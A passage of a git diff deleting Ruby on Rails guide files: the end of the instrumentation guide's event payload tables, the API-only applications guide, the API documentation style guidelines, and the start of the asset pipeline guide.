":halting_filter" -} -``` - -Action View ------------ - -### render_template.action_view - -| Key | Value | -| ------------- | --------------------- | -| `:identifier` | Full path to template | -| `:layout` | Applicable layout | - -```ruby -{ - identifier: "/Users/adam/projects/notifications/app/views/posts/index.html.erb", - layout: "layouts/application" -} -``` - -### render_partial.action_view - -| Key | Value | -| ------------- | --------------------- | -| `:identifier` | Full path to template | - -```ruby -{ - identifier: "/Users/adam/projects/notifications/app/views/posts/_form.html.erb" -} -``` - -### render_collection.action_view - -| Key | Value | -| ------------- | ------------------------------------- | -| `:identifier` | Full path to template | -| `:count` | Size of collection | -| `:cache_hits` | Number of partials fetched from cache | - -`:cache_hits` is only included if the collection is rendered with `cached: true`. - -```ruby -{ - identifier: "/Users/adam/projects/notifications/app/views/posts/_post.html.erb", - count: 3, - cache_hits: 0 -} -``` - -Active Record ------------- - -### sql.active_record - -| Key | Value | -| ---------------- | ---------------------------------------- | -| `:sql` | SQL statement | -| `:name` | Name of the operation | -| `:connection_id` | `self.object_id` | -| `:binds` | Bind parameters | -| `:cached` | `true` is added when cached queries used | - -INFO. The adapters will add their own data as well. - -```ruby -{ - sql: "SELECT \"posts\".* FROM \"posts\" ", - name: "Post Load", - connection_id: 70307250813140, - binds: [] -} -``` - -### instantiation.active_record - -| Key | Value | -| ---------------- | ----------------------------------------- | -| `:record_count` | Number of records that instantiated | -| `:class_name` | Record's class | - -```ruby -{ - record_count: 1, - class_name: "User" -} -``` - -Action Mailer -------------- - -### receive.action_mailer - -| Key | Value | -| ------------- | -------------------------------------------- | -| `:mailer` | Name of the mailer class | -| `:message_id` | ID of the message, generated by the Mail gem | -| `:subject` | Subject of the mail | -| `:to` | To address(es) of the mail | -| `:from` | From address of the mail | -| `:bcc` | BCC addresses of the mail | -| `:cc` | CC addresses of the mail | -| `:date` | Date of the mail | -| `:mail` | The encoded form of the mail | - -```ruby -{ - mailer: "Notification", - message_id: "4f5b5491f1774_181b23fc3d4434d38138e5@mba.local.mail", - subject: "Rails Guides", - to: ["users@rails.com", "ddh@rails.com"], - from: ["me@rails.com"], - date: Sat, 10 Mar 2012 14:18:09 +0100, - mail: "..." # omitted for brevity -} -``` - -### deliver.action_mailer - -| Key | Value | -| ------------- | -------------------------------------------- | -| `:mailer` | Name of the mailer class | -| `:message_id` | ID of the message, generated by the Mail gem | -| `:subject` | Subject of the mail | -| `:to` | To address(es) of the mail | -| `:from` | From address of the mail | -| `:bcc` | BCC addresses of the mail | -| `:cc` | CC addresses of the mail | -| `:date` | Date of the mail | -| `:mail` | The encoded form of the mail | - -```ruby -{ - mailer: "Notification", - message_id: "4f5b5491f1774_181b23fc3d4434d38138e5@mba.local.mail", - subject: "Rails Guides", - to: ["users@rails.com", "ddh@rails.com"], - from: ["me@rails.com"], - date: Sat, 10 Mar 2012 14:18:09 +0100, - mail: "..." # omitted for brevity -} -``` - -Active Support --------------- - -### cache_read.active_support - -| Key | Value | -| ------------------ | ------------------------------------------------- | -| `:key` | Key used in the store | -| `:hit` | If this read is a hit | -| `:super_operation` | :fetch is added when a read is used with `#fetch` | - -### cache_generate.active_support - -This event is only used when `#fetch` is called with a block. - -| Key | Value | -| ------ | --------------------- | -| `:key` | Key used in the store | - -INFO. Options passed to fetch will be merged with the payload when writing to the store - -```ruby -{ - key: 'name-of-complicated-computation' -} -``` - - -### cache_fetch_hit.active_support - -This event is only used when `#fetch` is called with a block. - -| Key | Value | -| ------ | --------------------- | -| `:key` | Key used in the store | - -INFO. Options passed to fetch will be merged with the payload. - -```ruby -{ - key: 'name-of-complicated-computation' -} -``` - -### cache_write.active_support - -| Key | Value | -| ------ | --------------------- | -| `:key` | Key used in the store | - -INFO. Cache stores may add their own keys - -```ruby -{ - key: 'name-of-complicated-computation' -} -``` - -### cache_delete.active_support - -| Key | Value | -| ------ | --------------------- | -| `:key` | Key used in the store | - -```ruby -{ - key: 'name-of-complicated-computation' -} -``` - -### cache_exist?.active_support - -| Key | Value | -| ------ | --------------------- | -| `:key` | Key used in the store | - -```ruby -{ - key: 'name-of-complicated-computation' -} -``` - -Active Job --------- - -### enqueue_at.active_job - -| Key | Value | -| ------------ | -------------------------------------- | -| `:adapter` | QueueAdapter object processing the job | -| `:job` | Job object | - -### enqueue.active_job - -| Key | Value | -| ------------ | -------------------------------------- | -| `:adapter` | QueueAdapter object processing the job | -| `:job` | Job object | - -### perform_start.active_job - -| Key | Value | -| ------------ | -------------------------------------- | -| `:adapter` | QueueAdapter object processing the job | -| `:job` | Job object | - -### perform.active_job - -| Key | Value | -| ------------ | -------------------------------------- | -| `:adapter` | QueueAdapter object processing the job | -| `:job` | Job object | - - -Railties --------- - -### load_config_initializer.railties - -| Key | Value | -| -------------- | ----------------------------------------------------- | -| `:initializer` | Path to loaded initializer from `config/initializers` | - -Rails ------ - -### deprecation.rails - -| Key | Value | -| ------------ | ------------------------------- | -| `:message` | The deprecation warning | -| `:callstack` | Where the deprecation came from | - -Subscribing to an event ------------------------ - -Subscribing to an event is easy. Use `ActiveSupport::Notifications.subscribe` with a block to -listen to any notification. - -The block receives the following arguments: - -* The name of the event -* Time when it started -* Time when it finished -* A unique ID for this event -* The payload (described in previous sections) - -```ruby -ActiveSupport::Notifications.subscribe "process_action.action_controller" do |name, started, finished, unique_id, data| - # your own custom stuff - Rails.logger.info "#{name} Received!" -end -``` - -Defining all those block arguments each time can be tedious. You can easily create an `ActiveSupport::Notifications::Event` -from block arguments like this: - -```ruby -ActiveSupport::Notifications.subscribe "process_action.action_controller" do |*args| - event = ActiveSupport::Notifications::Event.new *args - - event.name # => "process_action.action_controller" - event.duration # => 10 (in milliseconds) - event.payload # => {:extra=>information} - - Rails.logger.info "#{event} Received!" -end -``` - -Most times you only care about the data itself. Here is a shortcut to just get the data. - -```ruby -ActiveSupport::Notifications.subscribe "process_action.action_controller" do |*args| - data = args.extract_options! - data # { extra: :information } -end -``` - -You may also subscribe to events matching a regular expression. This enables you to subscribe to -multiple events at once. Here's you could subscribe to everything from `ActionController`. - -```ruby -ActiveSupport::Notifications.subscribe /action_controller/ do |*args| - # inspect all ActionController events -end -``` - -Creating custom events ----------------------- - -Adding your own events is easy as well. `ActiveSupport::Notifications` will take care of -all the heavy lifting for you. Simply call `instrument` with a `name`, `payload` and a block. -The notification will be sent after the block returns. `ActiveSupport` will generate the start and end times -as well as the unique ID. All data passed into the `instrument` call will make it into the payload. - -Here's an example: - -```ruby -ActiveSupport::Notifications.instrument "my.custom.event", this: :data do - # do your custom stuff here -end -``` - -Now you can listen to this event with: - -```ruby -ActiveSupport::Notifications.subscribe "my.custom.event" do |name, started, finished, unique_id, data| - puts data.inspect # {:this=>:data} -end -``` - -You should follow Rails conventions when defining your own events. The format is: `event.library`. -If you application is sending Tweets, you should create an event named `tweet.twitter`. diff --git a/source/api_app.md b/source/api_app.md deleted file mode 100644 index f373d31..0000000 --- a/source/api_app.md +++ /dev/null @@ -1,424 +0,0 @@ -**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.** - - -Using Rails for API-only Applications -===================================== - -In this guide you will learn: - -* What Rails provides for API-only applications -* How to configure Rails to start without any browser features -* How to decide which middleware you will want to include -* How to decide which modules to use in your controller - --------------------------------------------------------------------------------- - -What is an API Application? ---------------------------- - -Traditionally, when people said that they used Rails as an "API", they meant -providing a programmatically accessible API alongside their web application. -For example, GitHub provides [an API](http://developer.github.com) that you -can use from your own custom clients. - -With the advent of client-side frameworks, more developers are using Rails to -build a back-end that is shared between their web application and other native -applications. - -For example, Twitter uses its [public API](https://dev.twitter.com) in its web -application, which is built as a static site that consumes JSON resources. - -Instead of using Rails to generate HTML that communicates with the server -through forms and links, many developers are treating their web application as -just an API client delivered as HTML with JavaScript that consumes a JSON API. - -This guide covers building a Rails application that serves JSON resources to an -API client, including client-side frameworks. - -Why Use Rails for JSON APIs? ----------------------------- - -The first question a lot of people have when thinking about building a JSON API -using Rails is: "isn't using Rails to spit out some JSON overkill? Shouldn't I -just use something like Sinatra?". - -For very simple APIs, this may be true. However, even in very HTML-heavy -applications, most of an application's logic lives outside of the view -layer. - -The reason most people use Rails is that it provides a set of defaults that -allows developers to get up and running quickly, without having to make a lot of trivial -decisions. - -Let's take a look at some of the things that Rails provides out of the box that are -still applicable to API applications. - -Handled at the middleware layer: - -- Reloading: Rails applications support transparent reloading. This works even if - your application gets big and restarting the server for every request becomes - non-viable. -- Development Mode: Rails applications come with smart defaults for development, - making development pleasant without compromising production-time performance. -- Test Mode: Ditto development mode. -- Logging: Rails applications log every request, with a level of verbosity - appropriate for the current mode. Rails logs in development include information - about the request environment, database queries, and basic performance - information. -- Security: Rails detects and thwarts [IP spoofing - attacks](http://en.wikipedia.org/wiki/IP_address_spoofing) and handles - cryptographic signatures in a [timing - attack](http://en.wikipedia.org/wiki/Timing_attack) aware way. Don't know what - an IP spoofing attack or a timing attack is? Exactly. -- Parameter Parsing: Want to specify your parameters as JSON instead of as a - URL-encoded String? No problem. Rails will decode the JSON for you and make - it available in `params`. Want to use nested URL-encoded parameters? That - works too. -- Conditional GETs: Rails handles conditional `GET` (`ETag` and `Last-Modified`) - processing request headers and returning the correct response headers and status - code. All you need to do is use the - [`stale?`](http://api.rubyonrails.org/classes/ActionController/ConditionalGet.html#method-i-stale-3F) - check in your controller, and Rails will handle all of the HTTP details for you. -- HEAD requests: Rails will transparently convert `HEAD` requests into `GET` ones, - and return just the headers on the way out. This makes `HEAD` work reliably in - all Rails APIs. - -While you could obviously build these up in terms of existing Rack middleware, -this list demonstrates that the default Rails middleware stack provides a lot -of value, even if you're "just generating JSON". - -Handled at the Action Pack layer: - -- Resourceful Routing: If you're building a RESTful JSON API, you want to be - using the Rails router. Clean and conventional mapping from HTTP to controllers - means not having to spend time thinking about how to model your API in terms - of HTTP. -- URL Generation: The flip side of routing is URL generation. A good API based - on HTTP includes URLs (see [the GitHub Gist API](http://developer.github.com/v3/gists/) - for an example). -- Header and Redirection Responses: `head :no_content` and - `redirect_to user_url(http://github.com/current_user)` come in handy. Sure, you could manually - add the response headers, but why? -- Caching: Rails provides page, action and fragment caching. Fragment caching - is especially helpful when building up a nested JSON object. -- Basic, Digest, and Token Authentication: Rails comes with out-of-the-box support - for three kinds of HTTP authentication. -- Instrumentation: Rails has an instrumentation API that triggers registered - handlers for a variety of events, such as action processing, sending a file or - data, redirection, and database queries. The payload of each event comes with - relevant information (for the action processing event, the payload includes - the controller, action, parameters, request format, request method and the - request's full path). -- Generators: It is often handy to generate a resource and get your model, - controller, test stubs, and routes created for you in a single command for - further tweaking. Same for migrations and others. -- Plugins: Many third-party libraries come with support for Rails that reduce - or eliminate the cost of setting up and gluing together the library and the - web framework. This includes things like overriding default generators, adding - Rake tasks, and honoring Rails choices (like the logger and cache back-end). - -Of course, the Rails boot process also glues together all registered components. -For example, the Rails boot process is what uses your `config/database.yml` file -when configuring Active Record. - -**The short version is**: you may not have thought about which parts of Rails -are still applicable even if you remove the view layer, but the answer turns out -to be most of it. - -The Basic Configuration ------------------------ - -If you're building a Rails application that will be an API server first and -foremost, you can start with a more limited subset of Rails and add in features -as needed. - -### Creating a new application - -You can generate a new api Rails app: - -```bash -$ rails new my_api --api -``` - -This will do three main things for you: - -- Configure your application to start with a more limited set of middleware - than normal. Specifically, it will not include any middleware primarily useful - for browser applications (like cookies support) by default. -- Make `ApplicationController` inherit from `ActionController::API` instead of - `ActionController::Base`. As with middleware, this will leave out any Action - Controller modules that provide functionalities primarily used by browser - applications. -- Configure the generators to skip generating views, helpers and assets when - you generate a new resource. - -### Changing an existing application - -If you want to take an existing application and make it an API one, read the -following steps. - -In `config/application.rb` add the following line at the top of the `Application` -class definition: - -```ruby -config.api_only = true -``` - -In `config/environments/development.rb`, set `config.debug_exception_response_format` -to configure the format used in responses when errors occur in development mode. - -To render an HTML page with debugging information, use the value `:default`. - -```ruby -config.debug_exception_response_format = :default -``` - -To render debugging information preserving the response format, use the value `:api`. - -```ruby -config.debug_exception_response_format = :api -``` - -By default, `config.debug_exception_response_format` is set to `:api`, when `config.api_only` is set to true. - -Finally, inside `app/controllers/application_controller.rb`, instead of: - -```ruby -class ApplicationController < ActionController::Base -end -``` - -do: - -```ruby -class ApplicationController < ActionController::API -end -``` - -Choosing Middleware --------------------- - -An API application comes with the following middleware by default: - -- `Rack::Sendfile` -- `ActionDispatch::Static` -- `ActionDispatch::Executor` -- `ActiveSupport::Cache::Strategy::LocalCache::Middleware` -- `Rack::Runtime` -- `ActionDispatch::RequestId` -- `Rails::Rack::Logger` -- `ActionDispatch::ShowExceptions` -- `ActionDispatch::DebugExceptions` -- `ActionDispatch::RemoteIp` -- `ActionDispatch::Reloader` -- `ActionDispatch::Callbacks` -- `ActiveRecord::Migration::CheckPending` -- `Rack::Head` -- `Rack::ConditionalGet` -- `Rack::ETag` - -See the [internal middleware](rails_on_rack.html#internal-middleware-stack) -section of the Rack guide for further information on them. - -Other plugins, including Active Record, may add additional middleware. In -general, these middleware are agnostic to the type of application you are -building, and make sense in an API-only Rails application. - -You can get a list of all middleware in your application via: - -```bash -$ rails middleware -``` - -### Using the Cache Middleware - -By default, Rails will add a middleware that provides a cache store based on -the configuration of your application (memcache by default). This means that -the built-in HTTP cache will rely on it. - -For instance, using the `stale?` method: - -```ruby -def show - @post = Post.find(params[:id]) - - if stale?(last_modified: @post.updated_at) - render json: @post - end -end -``` - -The call to `stale?` will compare the `If-Modified-Since` header in the request -with `@post.updated_at`. If the header is newer than the last modified, this -action will return a "304 Not Modified" response. Otherwise, it will render the -response and include a `Last-Modified` header in it. - -Normally, this mechanism is used on a per-client basis. The cache middleware -allows us to share this caching mechanism across clients. We can enable -cross-client caching in the call to `stale?`: - -```ruby -def show - @post = Post.find(params[:id]) - - if stale?(last_modified: @post.updated_at, public: true) - render json: @post - end -end -``` - -This means that the cache middleware will store off the `Last-Modified` value -for a URL in the Rails cache, and add an `If-Modified-Since` header to any -subsequent inbound requests for the same URL. - -Think of it as page caching using HTTP semantics. - -### Using Rack::Sendfile - -When you use the `send_file` method inside a Rails controller, it sets the -`X-Sendfile` header. `Rack::Sendfile` is responsible for actually sending the -file. - -If your front-end server supports accelerated file sending, `Rack::Sendfile` -will offload the actual file sending work to the front-end server. - -You can configure the name of the header that your front-end server uses for -this purpose using `config.action_dispatch.x_sendfile_header` in the appropriate -environment's configuration file. - -You can learn more about how to use `Rack::Sendfile` with popular -front-ends in [the Rack::Sendfile -documentation](http://rubydoc.info/github/rack/rack/master/Rack/Sendfile). - -Here are some values for this header for some popular servers, once these servers are configured to support -accelerated file sending: - -```ruby -# Apache and lighttpd -config.action_dispatch.x_sendfile_header = "X-Sendfile" - -# Nginx -config.action_dispatch.x_sendfile_header = "X-Accel-Redirect" -``` - -Make sure to configure your server to support these options following the -instructions in the `Rack::Sendfile` documentation. - -### Using ActionDispatch::Request - -`ActionDispatch::Request#params` will take parameters from the client in the JSON -format and make them available in your controller inside `params`. - -To use this, your client will need to make a request with JSON-encoded parameters -and specify the `Content-Type` as `application/json`. - -Here's an example in jQuery: - -```javascript -jQuery.ajax({ - type: 'POST', - url: '/people', - dataType: 'json', - contentType: 'application/json', - data: JSON.stringify({ person: { firstName: "Yehuda", lastName: "Katz" } }), - success: function(json) { } -}); -``` - -`ActionDispatch::Request` will see the `Content-Type` and your parameters -will be: - -```ruby -{ :person => { :firstName => "Yehuda", :lastName => "Katz" } } -``` - -### Other Middleware - -Rails ships with a number of other middleware that you might want to use in an -API application, especially if one of your API clients is the browser: - -- `Rack::MethodOverride` -- `ActionDispatch::Cookies` -- `ActionDispatch::Flash` -- For session management - * `ActionDispatch::Session::CacheStore` - * `ActionDispatch::Session::CookieStore` - * `ActionDispatch::Session::MemCacheStore` - -Any of these middleware can be added via: - -```ruby -config.middleware.use Rack::MethodOverride -``` - -### Removing Middleware - -If you don't want to use a middleware that is included by default in the API-only -middleware set, you can remove it with: - -```ruby -config.middleware.delete ::Rack::Sendfile -``` - -Keep in mind that removing these middleware will remove support for certain -features in Action Controller. - -Choosing Controller Modules ---------------------------- - -An API application (using `ActionController::API`) comes with the following -controller modules by default: - -- `ActionController::UrlFor`: Makes `url_for` and similar helpers available. -- `ActionController::Redirecting`: Support for `redirect_to`. -- `AbstractController::Rendering` and `ActionController::ApiRendering`: Basic support for rendering. -- `ActionController::Renderers::All`: Support for `render :json` and friends. -- `ActionController::ConditionalGet`: Support for `stale?`. -- `ActionController::BasicImplicitRender`: Makes sure to return an empty response, if there isn't an explicit one. -- `ActionController::StrongParameters`: Support for parameters white-listing in combination with Active Model mass assignment. -- `ActionController::ForceSSL`: Support for `force_ssl`. -- `ActionController::DataStreaming`: Support for `send_file` and `send_data`. -- `AbstractController::Callbacks`: Support for `before_action` and - similar helpers. -- `ActionController::Rescue`: Support for `rescue_from`. -- `ActionController::Instrumentation`: Support for the instrumentation - hooks defined by Action Controller (see [the instrumentation - guide](active_support_instrumentation.html#action-controller) for -more information regarding this). -- `ActionController::ParamsWrapper`: Wraps the parameters hash into a nested hash, - so that you don't have to specify root elements sending POST requests for instance. - -Other plugins may add additional modules. You can get a list of all modules -included into `ActionController::API` in the rails console: - -```bash -$ bin/rails c ->> ActionController::API.ancestors - ActionController::Metal.ancestors -=> [ActionController::API, - ActiveRecord::Railties::ControllerRuntime, - ActionDispatch::Routing::RouteSet::MountedHelpers, - ActionController::ParamsWrapper, - ... , - AbstractController::Rendering, - ActionView::ViewPaths] -``` - -### Adding Other Modules - -All Action Controller modules know about their dependent modules, so you can feel -free to include any modules into your controllers, and all dependencies will be -included and set up as well. - -Some common modules you might want to add: - -- `AbstractController::Translation`: Support for the `l` and `t` localization - and translation methods. -- `ActionController::HttpAuthentication::Basic` (or `Digest` or `Token`): Support - for basic, digest or token HTTP authentication. -- `ActionView::Layouts`: Support for layouts when rendering. -- `ActionController::MimeResponds`: Support for `respond_to`. -- `ActionController::Cookies`: Support for `cookies`, which includes - support for signed and encrypted cookies. This requires the cookies middleware. - -The best place to add a module is in your `ApplicationController`, but you can -also add modules to individual controllers. diff --git a/source/api_documentation_guidelines.md b/source/api_documentation_guidelines.md deleted file mode 100644 index 3c61754..0000000 --- a/source/api_documentation_guidelines.md +++ /dev/null @@ -1,366 +0,0 @@ -**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.** - -API Documentation Guidelines -============================ - -This guide documents the Ruby on Rails API documentation guidelines. - -After reading this guide, you will know: - -* How to write effective prose for documentation purposes. -* Style guidelines for documenting different kinds of Ruby code. - --------------------------------------------------------------------------------- - -RDoc ----- - -The [Rails API documentation](http://api.rubyonrails.org) is generated with -[RDoc](http://docs.seattlerb.org/rdoc/). To generate it, make sure you are -in the rails root directory, run `bundle install` and execute: - -```bash - bundle exec rake rdoc -``` - -Resulting HTML files can be found in the ./doc/rdoc directory. - -Please consult the RDoc documentation for help with the -[markup](http://docs.seattlerb.org/rdoc/RDoc/Markup.html), -and also take into account these [additional -directives](http://docs.seattlerb.org/rdoc/RDoc/Parser/Ruby.html). - -Wording -------- - -Write simple, declarative sentences. Brevity is a plus: get to the point. - -Write in present tense: "Returns a hash that...", rather than "Returned a hash that..." or "Will return a hash that...". - -Start comments in upper case. Follow regular punctuation rules: - -```ruby -# Declares an attribute reader backed by an internally-named -# instance variable. -def attr_internal_reader(*attrs) - ... -end -``` - -Communicate to the reader the current way of doing things, both explicitly and implicitly. Use the idioms recommended in edge. Reorder sections to emphasize favored approaches if needed, etc. The documentation should be a model for best practices and canonical, modern Rails usage. - -Documentation has to be concise but comprehensive. Explore and document edge cases. What happens if a module is anonymous? What if a collection is empty? What if an argument is nil? - -The proper names of Rails components have a space in between the words, like "Active Support". `ActiveRecord` is a Ruby module, whereas Active Record is an ORM. All Rails documentation should consistently refer to Rails components by their proper name, and if in your next blog post or presentation you remember this tidbit and take it into account that'd be phenomenal. - -Spell names correctly: Arel, Test::Unit, RSpec, HTML, MySQL, JavaScript, ERB. When in doubt, please have a look at some authoritative source like their official documentation. - -Use the article "an" for "SQL", as in "an SQL statement". Also "an SQLite database". - -Prefer wordings that avoid "you"s and "your"s. For example, instead of - -```markdown -If you need to use `return` statements in your callbacks, it is recommended that you explicitly define them as methods. -``` - -use this style: - -```markdown -If `return` is needed it is recommended to explicitly define a method. -``` - -That said, when using pronouns in reference to a hypothetical person, such as "a -user with a session cookie", gender neutral pronouns (they/their/them) should be -used. Instead of: - -* he or she... use they. -* him or her... use them. -* his or her... use their. -* his or hers... use theirs. -* himself or herself... use themselves. - -English -------- - -Please use American English (*color*, *center*, *modularize*, etc). See [a list of American and British English spelling differences here](http://en.wikipedia.org/wiki/American_and_British_English_spelling_differences). - -Oxford Comma ------------- - -Please use the [Oxford comma](http://en.wikipedia.org/wiki/Serial_comma) -("red, white, and blue", instead of "red, white and blue"). - -Example Code ------------- - -Choose meaningful examples that depict and cover the basics as well as interesting points or gotchas. - -Use two spaces to indent chunks of code--that is, for markup purposes, two spaces with respect to the left margin. The examples themselves should use [Rails coding conventions](contributing_to_ruby_on_rails.html#follow-the-coding-conventions). - -Short docs do not need an explicit "Examples" label to introduce snippets; they just follow paragraphs: - -```ruby -# Converts a collection of elements into a formatted string by -# calling +to_s+ on all elements and joining them. -# -# Blog.all.to_formatted_s # => "First PostSecond PostThird Post" -``` - -On the other hand, big chunks of structured documentation may have a separate "Examples" section: - -```ruby -# ==== Examples -# -# Person.exists?(5) -# Person.exists?('5') -# Person.exists?(name: "David") -# Person.exists?(['name LIKE ?', "%#{query}%"]) -``` - -The results of expressions follow them and are introduced by "# => ", vertically aligned: - -```ruby -# For checking if an integer is even or odd. -# -# 1.even? # => false -# 1.odd? # => true -# 2.even? # => true -# 2.odd? # => false -``` - -If a line is too long, the comment may be placed on the next line: - -```ruby -# label(:article, :title) -# # => -# -# label(:article, :title, "A short title") -# # => -# -# label(:article, :title, "A short title", class: "title_label") -# # => -``` - -Avoid using any printing methods like `puts` or `p` for that purpose. - -On the other hand, regular comments do not use an arrow: - -```ruby -# polymorphic_url(http://github.com/record) # same as comment_url(http://github.com/record) -``` - -Booleans --------- - -In predicates and flags prefer documenting boolean semantics over exact values. - -When "true" or "false" are used as defined in Ruby use regular font. The -singletons `true` and `false` need fixed-width font. Please avoid terms like -"truthy", Ruby defines what is true and false in the language, and thus those -words have a technical meaning and need no substitutes. - -As a rule of thumb, do not document singletons unless absolutely necessary. That -prevents artificial constructs like `!!` or ternaries, allows refactors, and the -code does not need to rely on the exact values returned by methods being called -in the implementation. - -For example: - -```markdown -`config.action_mailer.perform_deliveries` specifies whether mail will actually be delivered and is true by default -``` - -the user does not need to know which is the actual default value of the flag, -and so we only document its boolean semantics. - -An example with a predicate: - -```ruby -# Returns true if the collection is empty. -# -# If the collection has been loaded -# it is equivalent to collection.size.zero?. If the -# collection has not been loaded, it is equivalent to -# collection.exists?. If the collection has not already been -# loaded and you are going to fetch the records anyway it is better to -# check collection.length.zero?. -def empty? - if loaded? - size.zero? - else - @target.blank? && !scope.exists? - end -end -``` - -The API is careful not to commit to any particular value, the method has -predicate semantics, that's enough. - -File Names ----------- - -As a rule of thumb, use filenames relative to the application root: - -``` -config/routes.rb # YES -routes.rb # NO -RAILS_ROOT/config/routes.rb # NO -``` - -Fonts ------ - -### Fixed-width Font - -Use fixed-width fonts for: - -* Constants, in particular class and module names. -* Method names. -* Literals like `nil`, `false`, `true`, `self`. -* Symbols. -* Method parameters. -* File names. - -```ruby -class Array - # Calls +to_param+ on all its elements and joins the result with - # slashes. This is used by +url_for+ in Action Pack. - def to_param - collect { |e| e.to_param }.join '/' - end -end -``` - -WARNING: Using `+...+` for fixed-width font only works with simple content like -ordinary method names, symbols, paths (with forward slashes), etc. Please use -`...` for everything else, notably class or module names with a -namespace as in `ActiveRecord::Base`. - -You can quickly test the RDoc output with the following command: - -``` -$ echo "+:to_param+" | rdoc --pipe -# =>

:to_param

-``` - -### Regular Font - -When "true" and "false" are English words rather than Ruby keywords use a regular font: - -```ruby -# Runs all the validations within the specified context. -# Returns true if no errors are found, false otherwise. -# -# If the argument is false (default is +nil+), the context is -# set to :create if new_record? is true, -# and to :update if it is not. -# -# Validations with no :on option will run no -# matter the context. Validations with # some :on -# option will only run in the specified context. -def valid?(context = nil) - ... -end -``` - -Description Lists ------------------ - -In lists of options, parameters, etc. use a hyphen between the item and its description (reads better than a colon because normally options are symbols): - -```ruby -# * :allow_nil - Skip validation if attribute is +nil+. -``` - -The description starts in upper case and ends with a full stop-it's standard English. - -Dynamically Generated Methods ------------------------------ - -Methods created with `(module|class)_eval(STRING)` have a comment by their side with an instance of the generated code. That comment is 2 spaces away from the template: - -```ruby -for severity in Severity.constants - class_eval <<-EOT, __FILE__, __LINE__ - def #{severity.downcase}(message = nil, progname = nil, &block) # def debug(message = nil, progname = nil, &block) - add(#{severity}, message, progname, &block) # add(DEBUG, message, progname, &block) - end # end - # - def #{severity.downcase}? # def debug? - #{severity} >= @level # DEBUG >= @level - end # end - EOT -end -``` - -If the resulting lines are too wide, say 200 columns or more, put the comment above the call: - -```ruby -# def self.find_by_login_and_activated(*args) -# options = args.extract_options! -# ... -# end -self.class_eval %{ - def self.#{method_id}(*args) - options = args.extract_options! - ... - end -} -``` - -Method Visibility ------------------ - -When writing documentation for Rails, it's important to understand the difference between public user-facing API vs internal API. - -Rails, like most libraries, uses the private keyword from Ruby for defining internal API. However, public API follows a slightly different convention. Instead of assuming all public methods are designed for user consumption, Rails uses the `:nodoc:` directive to annotate these kinds of methods as internal API. - -This means that there are methods in Rails with `public` visibility that aren't meant for user consumption. - -An example of this is `ActiveRecord::Core::ClassMethods#arel_table`: - -```ruby -module ActiveRecord::Core::ClassMethods - def arel_table #:nodoc: - # do some magic.. - end -end -``` - -If you thought, "this method looks like a public class method for `ActiveRecord::Core`", you were right. But actually the Rails team doesn't want users to rely on this method. So they mark it as `:nodoc:` and it's removed from public documentation. The reasoning behind this is to allow the team to change these methods according to their internal needs across releases as they see fit. The name of this method could change, or the return value, or this entire class may disappear; there's no guarantee and so you shouldn't depend on this API in your plugins or applications. Otherwise, you risk your app or gem breaking when you upgrade to a newer release of Rails. - -As a contributor, it's important to think about whether this API is meant for end-user consumption. The Rails team is committed to not making any breaking changes to public API across releases without going through a full deprecation cycle. It's recommended that you `:nodoc:` any of your internal methods/classes unless they're already private (meaning visibility), in which case it's internal by default. Once the API stabilizes the visibility can change, but changing public API is much harder due to backwards compatibility. - -A class or module is marked with `:nodoc:` to indicate that all methods are internal API and should never be used directly. - -To summarize, the Rails team uses `:nodoc:` to mark publicly visible methods and classes for internal use; changes to the visibility of API should be considered carefully and discussed over a pull request first. - -Regarding the Rails Stack -------------------------- - -When documenting parts of Rails API, it's important to remember all of the -pieces that go into the Rails stack. - -This means that behavior may change depending on the scope or context of the -method or class you're trying to document. - -In various places there is different behavior when you take the entire stack -into account, one such example is -`ActionView::Helpers::AssetTagHelper#image_tag`: - -```ruby -# image_tag("icon.png") -# # => Icon -``` - -Although the default behavior for `#image_tag` is to always return -`/images/icon.png`, we take into account the full Rails stack (including the -Asset Pipeline) we may see the result seen above. - -We're only concerned with the behavior experienced when using the full default -Rails stack. - -In this case, we want to document the behavior of the _framework_, and not just -this specific method. - -If you have a question on how the Rails team handles certain API, don't hesitate to open a ticket or send a patch to the [issue tracker](https://github.com/rails/rails/issues). diff --git a/source/asset_pipeline.md b/source/asset_pipeline.md deleted file mode 100644 index 61b7112..0000000 --- a/source/asset_pipeline.md +++ /dev/null @@ -1,1313 +0,0 @@ -**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.** - -The Asset Pipeline -================== - -This guide covers the asset pipeline. - -After reading this guide, you will know: - -* What the asset pipeline is and what it does. -* How to properly organize your application assets. -* The benefits of the asset pipeline. -* How to add a pre-processor to the pipeline. -* How to package assets with a gem. - --------------------------------------------------------------------------------- - -What is the Asset Pipeline? ---------------------------- - -The asset pipeline provides a framework to concatenate and minify or compress -JavaScript and CSS assets. It also adds the ability to write these assets in -other languages and pre-processors such as CoffeeScript, Sass and ERB. -It allows assets in your application to be automatically combined with assets -from other gems. For example, jquery-rails includes a copy of jquery.js -and enables AJAX features in Rails. - -The asset pipeline is implemented by the -[sprockets-rails](https://github.com/rails/sprockets-rails) gem, -and is enabled by default. You can disable it while creating a new application by -passing the `--skip-sprockets` option. - -```bash -rails new appname --skip-sprockets -``` - -Rails automatically adds the `sass-rails`, `coffee-rails` and `uglifier` -gems to your Gemfile, which are used by Sprockets for asset compression: - -```ruby -gem 'sass-rails' -gem 'uglifier' -gem 'coffee-rails' -``` - -Using the `--skip-sprockets` option will prevent Rails from adding -them to your Gemfile, so if you later want to enable -the asset pipeline you will have to add those gems to your Gemfile. Also, -creating an application with the `--skip-sprockets` option will generate -a slightly different `config/application.rb` file, with a require statement -for the sprockets railtie that is commented-out. You will have to remove -the comment operator on that line to later enable the asset pipeline: - -```ruby -# require "sprockets/railtie" -``` - -To set asset compression methods, set the appropriate configuration options -in `production.rb` - `config.assets.css_compressor` for your CSS and -`config.assets.js_compressor` for your JavaScript: - -```ruby -config.assets.css_compressor = :yui -config.assets.js_compressor = :uglifier -``` - -NOTE: The `sass-rails` gem is automatically used for CSS compression if included -in the Gemfile and no `config.assets.css_compressor` option is set. - - -### Main Features - -The first feature of the pipeline is to concatenate assets, which can reduce the -number of requests that a browser makes to render a web page. Web browsers are -limited in the number of requests that they can make in parallel, so fewer -requests can mean faster loading for your application. - -Sprockets concatenates all JavaScript files into one master `.js` file and all -CSS files into one master `.css` file. As you'll learn later in this guide, you -can customize this strategy to group files any way you like. In production, -Rails inserts an SHA256 fingerprint 